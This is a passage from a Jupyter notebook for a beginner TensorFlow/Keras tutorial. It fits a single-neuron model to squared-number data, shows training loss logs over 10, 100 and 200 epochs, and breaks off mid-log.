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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Creating a tensorflow model\n", - "x=np.array([2.0,4.0,5.0,6.0,8.0,9.0,12.0])\n", - "y=np.array([4.0,16.0,25.0,36.0,64.0,81.0,144.0])\n", - "plt.scatter(x,y)" - ] - }, - { - "cell_type": "code", - "execution_count": 32, - "id": "b2056a4f", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(,\n", - " )" - ] - }, - "execution_count": 32, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "X=tf.cast(tf.constant(x),dtype=tf.float32)\n", - "y=tf.cast(tf.constant(y),dtype=tf.float32)\n", - "X,y" - ] - }, - { - "cell_type": "markdown", - "id": "fbac7cf8", - "metadata": {}, - "source": [ - "# Creating model " - ] - }, - { - "cell_type": "code", - "execution_count": 33, - "id": "c275be3a", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/10\n", - "1/1 [==============================] - 0s 310ms/step - loss: 56.6685 - mae: 56.6685\n", - "Epoch 2/10\n", - "1/1 [==============================] - 0s 2ms/step - loss: 56.2266 - mae: 56.2266\n", - "Epoch 3/10\n", - "1/1 [==============================] - 0s 0s/step - loss: 55.7848 - mae: 55.7848\n", - "Epoch 4/10\n", - "1/1 [==============================] - 0s 17ms/step - loss: 55.3429 - mae: 55.3429\n", - "Epoch 5/10\n", - "1/1 [==============================] - 0s 4ms/step - loss: 54.9011 - mae: 54.9011\n", - "Epoch 6/10\n", - "1/1 [==============================] - 0s 4ms/step - loss: 54.4593 - mae: 54.4593\n", - "Epoch 7/10\n", - "1/1 [==============================] - 0s 2ms/step - loss: 54.0174 - mae: 54.0174\n", - "Epoch 8/10\n", - "1/1 [==============================] - 0s 8ms/step - loss: 53.5756 - mae: 53.5756\n", - "Epoch 9/10\n", - "1/1 [==============================] - 0s 4ms/step - loss: 53.1338 - mae: 53.1338\n", - "Epoch 10/10\n", - "1/1 [==============================] - 0s 4ms/step - loss: 52.6919 - mae: 52.6919\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 33, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.SGD(), metrics=[\"mae\"])\n", - "# mae = mean absolute error # SGD = Stochastic Gradient descent\n", - "\n", - "#Fit the model\n", - "model.fit(X,y,epochs=10) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 34, - "id": "c49c200c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[1.1802493]], dtype=float32)" - ] - }, - "execution_count": 34, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Try to make prediction using model\n", - "model.predict([14])" - ] - }, - { - "cell_type": "markdown", - "id": "e24188c1", - "metadata": {}, - "source": [ - "# Improving our model" - ] - }, - { - "cell_type": "code", - "execution_count": 35, - "id": "5a463a4a", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "1/1 [==============================] - 0s 257ms/step - loss: 53.2085 - mae: 53.2085\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 52.7667 - mae: 52.7667\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 52.3249 - mae: 52.3249\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 51.8830 - mae: 51.8830\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 51.4412 - mae: 51.4412\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 50.9994 - mae: 50.9994\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 50.5575 - mae: 50.5575\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 50.1157 - mae: 50.1157\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 49.6739 - mae: 49.6739\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 49.2320 - mae: 49.2320\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 48.7902 - mae: 48.7902\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 48.3483 - mae: 48.3483\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 47.9065 - mae: 47.9065\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 47.4647 - mae: 47.4647\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 47.0228 - mae: 47.0228\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 46.5810 - mae: 46.5810\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 46.1392 - mae: 46.1392\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 45.6973 - mae: 45.6973\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 45.2555 - mae: 45.2555\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 44.8137 - mae: 44.8137\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 44.3718 - mae: 44.3718\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 43.9300 - mae: 43.9300\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 43.4881 - mae: 43.4881\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 43.0463 - mae: 43.0463\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 42.6045 - mae: 42.6045\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 42.1626 - mae: 42.1626\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 41.7208 - mae: 41.7208\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 41.2790 - mae: 41.2790\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 40.8371 - mae: 40.8371\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 40.3953 - mae: 40.3953\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 39.9923 - mae: 39.9923\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 39.6272 - mae: 39.6272\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 39.2621 - mae: 39.2621\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 38.8970 - mae: 38.8970\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 38.5319 - mae: 38.5319\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 38.1668 - mae: 38.1668\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37.8017 - mae: 37.8017\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37.4366 - mae: 37.4366\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37.0715 - mae: 37.0715\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 36.7064 - mae: 36.7064\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36.3413 - mae: 36.3413\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 35.9762 - mae: 35.9762\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35.6111 - mae: 35.6111\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 35.2460 - mae: 35.2460\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 34.8809 - mae: 34.8809\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 8ms/step - loss: 34.5158 - mae: 34.5158\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 34.1507 - mae: 34.1507\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 33.7855 - mae: 33.7855\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33.4204 - mae: 33.4204\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 33.0553 - mae: 33.0553\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 32.6902 - mae: 32.6902\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 32.3251 - mae: 32.3251\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 31.9600 - mae: 31.9600\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 31.5949 - mae: 31.5949\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 31.2298 - mae: 31.2298\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 30.8647 - mae: 30.8647\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 30.4996 - mae: 30.4996\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 30.1345 - mae: 30.1345\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 29.7694 - mae: 29.7694\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 29.4043 - mae: 29.4043\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 29.0392 - mae: 29.0392\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 28.6741 - mae: 28.6741\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 28.3090 - mae: 28.3090\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 27.9804 - mae: 27.9804\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 27.7426 - mae: 27.7426\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 27.5048 - mae: 27.5048\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 27.2671 - mae: 27.2671\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 27.0293 - mae: 27.0293\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 26.7916 - mae: 26.7916\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26.5538 - mae: 26.5538\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26.3161 - mae: 26.3161\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26.0783 - mae: 26.0783\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25.8406 - mae: 25.8406\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 25.6028 - mae: 25.6028\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25.3650 - mae: 25.3650\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25.1273 - mae: 25.1273\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 24.8895 - mae: 24.8895\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 24.6518 - mae: 24.6518\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 24.4140 - mae: 24.4140\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 24.1763 - mae: 24.1763\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 23.9385 - mae: 23.9385\n", - "Epoch 82/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23.7008 - mae: 23.7008\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 23.4630 - mae: 23.4630\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23.2252 - mae: 23.2252\n", - "Epoch 85/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23.0491 - mae: 23.0491\n", - "Epoch 86/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 22.9313 - mae: 22.9313\n", - "Epoch 87/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 22.8135 - mae: 22.8135\n", - "Epoch 88/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 22.6958 - mae: 22.6958\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 22.5780 - mae: 22.5780\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 22.4603 - mae: 22.4603\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 22.3425 - mae: 22.3425\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 22.2248 - mae: 22.2248\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 22.1070 - mae: 22.1070\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 21.9893 - mae: 21.9893\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 21.8715 - mae: 21.8715\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 21.7538 - mae: 21.7538\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 21.6360 - mae: 21.6360\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 21.5182 - mae: 21.5182\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 2ms/step - loss: 21.4005 - mae: 21.4005\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 21.2827 - mae: 21.2827\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 35, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "#### 1st method : Increase no. of epochs ####\n", - "\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.SGD(), metrics=[\"mae\"])\n", - "# mae = mean absolute error # SGD = Stochastic Gradient descent\n", - "\n", - "#Fit the model\n", - "model.fit(X,y,epochs=100) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 36, - "id": "63853448", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[77.17989]], dtype=float32)" - ] - }, - "execution_count": 36, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Try to make prediction using model\n", - "model.predict([14])" - ] - }, - { - "cell_type": "code", - "execution_count": 37, - "id": "b6c60415", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/200\n", - "1/1 [==============================] - 0s 305ms/step - loss: 52.4602 - mae: 52.4602\n", - "Epoch 2/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 51.7983 - mae: 51.7983\n", - "Epoch 3/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 51.1236 - mae: 51.1236\n", - "Epoch 4/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 50.4277 - mae: 50.4277\n", - "Epoch 5/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 49.6975 - mae: 49.6975\n", - "Epoch 6/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 48.9203 - mae: 48.9203\n", - "Epoch 7/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 48.0955 - mae: 48.0955\n", - "Epoch 8/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 47.2015 - mae: 47.2015\n", - "Epoch 9/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 46.2174 - mae: 46.2174\n", - "Epoch 10/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 45.1261 - mae: 45.1261\n", - "Epoch 11/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 43.9094 - mae: 43.9094\n", - "Epoch 12/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 42.5471 - mae: 42.5471\n", - "Epoch 13/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 41.0168 - mae: 41.0168\n", - "Epoch 14/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 39.3882 - mae: 39.3882\n", - "Epoch 15/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37.7845 - mae: 37.7845\n", - "Epoch 16/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35.9945 - mae: 35.9945\n", - "Epoch 17/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 33.9915 - mae: 33.9915\n", - "Epoch 18/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 31.7482 - mae: 31.7482\n", - "Epoch 19/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 29.2315 - mae: 29.2315\n", - "Epoch 20/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26.7370 - mae: 26.7370\n", - "Epoch 21/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 24.6834 - mae: 24.6834\n", - "Epoch 22/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 22.6535 - mae: 22.6535\n", - "Epoch 23/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 21.4357 - mae: 21.4357\n", - "Epoch 24/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 20.1334 - mae: 20.1334\n", - "Epoch 25/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 19.2352 - mae: 19.2352\n", - "Epoch 26/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 18.8687 - mae: 18.8687\n", - "Epoch 27/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.4896 - mae: 18.4896\n", - "Epoch 28/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 18.0974 - mae: 18.0974\n", - "Epoch 29/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.6916 - mae: 17.6916\n", - "Epoch 30/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.2718 - mae: 17.2718\n", - "Epoch 31/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.8375 - mae: 16.8375\n", - "Epoch 32/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.3882 - mae: 16.3882\n", - "Epoch 33/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.3499 - mae: 16.3499\n", - "Epoch 34/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.2781 - mae: 16.2781\n", - "Epoch 35/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.2343 - mae: 16.2343\n", - "Epoch 36/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.3614 - mae: 16.3614\n", - "Epoch 37/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.2892 - mae: 16.2892\n", - "Epoch 38/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.2181 - mae: 16.2181\n", - "Epoch 39/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.2309 - mae: 16.2309\n", - "Epoch 40/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.3011 - mae: 16.3011\n", - "Epoch 41/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.2297 - mae: 16.2297\n", - "Epoch 42/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 16.1592 - mae: 16.1592\n", - "Epoch 43/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.2248 - mae: 16.2248\n", - "Epoch 44/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.2420 - mae: 16.2420\n", - "Epoch 45/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.1712 - mae: 16.1712\n", - "Epoch 46/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.1013 - mae: 16.1013\n", - "Epoch 47/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.2159 - mae: 16.2159\n", - "Epoch 48/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.1840 - mae: 16.1840\n", - "Epoch 49/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.1138 - mae: 16.1138\n", - "Epoch 50/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.0533 - mae: 16.0533\n", - "Epoch 51/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.1972 - mae: 16.1972\n", - "Epoch 52/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.1266 - mae: 16.1266\n", - "Epoch 53/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.0571 - mae: 16.0571\n", - "Epoch 54/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.0396 - mae: 16.0396\n", - "Epoch 55/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.1403 - mae: 16.1403\n", - "Epoch 56/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.0703 - mae: 16.0703\n", - "Epoch 57/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 16.0013 - mae: 16.0013\n", - "Epoch 58/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.0231 - mae: 16.0231\n", - "Epoch 59/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.0843 - mae: 16.0843\n", - "Epoch 60/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.0149 - mae: 16.0149\n", - "Epoch 61/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.9465 - mae: 15.9465\n", - "Epoch 62/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.0038 - mae: 16.0038\n", - "Epoch 63/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.0293 - mae: 16.0293\n", - "Epoch 64/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 15.9604 - mae: 15.9604\n", - "Epoch 65/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.8925 - mae: 15.8925\n", - "Epoch 66/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.9817 - mae: 15.9817\n", - "Epoch 67/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.9751 - mae: 15.9751\n", - "Epoch 68/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.9068 - mae: 15.9068\n", - "Epoch 69/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.8394 - mae: 15.8394\n", - "Epoch 70/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.9567 - mae: 15.9567\n", - "Epoch 71/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.9218 - mae: 15.9218\n", - "Epoch 72/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.8540 - mae: 15.8540\n", - "Epoch 73/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.7870 - mae: 15.7870\n", - "Epoch 74/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 15.9289 - mae: 15.9289\n", - "Epoch 75/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.8693 - mae: 15.8693\n", - "Epoch 76/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.8019 - mae: 15.8019\n", - "Epoch 77/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.7504 - mae: 15.7504\n", - "Epoch 78/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.8850 - mae: 15.8850\n", - "Epoch 79/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 15.8172 - mae: 15.8172\n", - "Epoch 80/200\n", - "1/1 [==============================] - 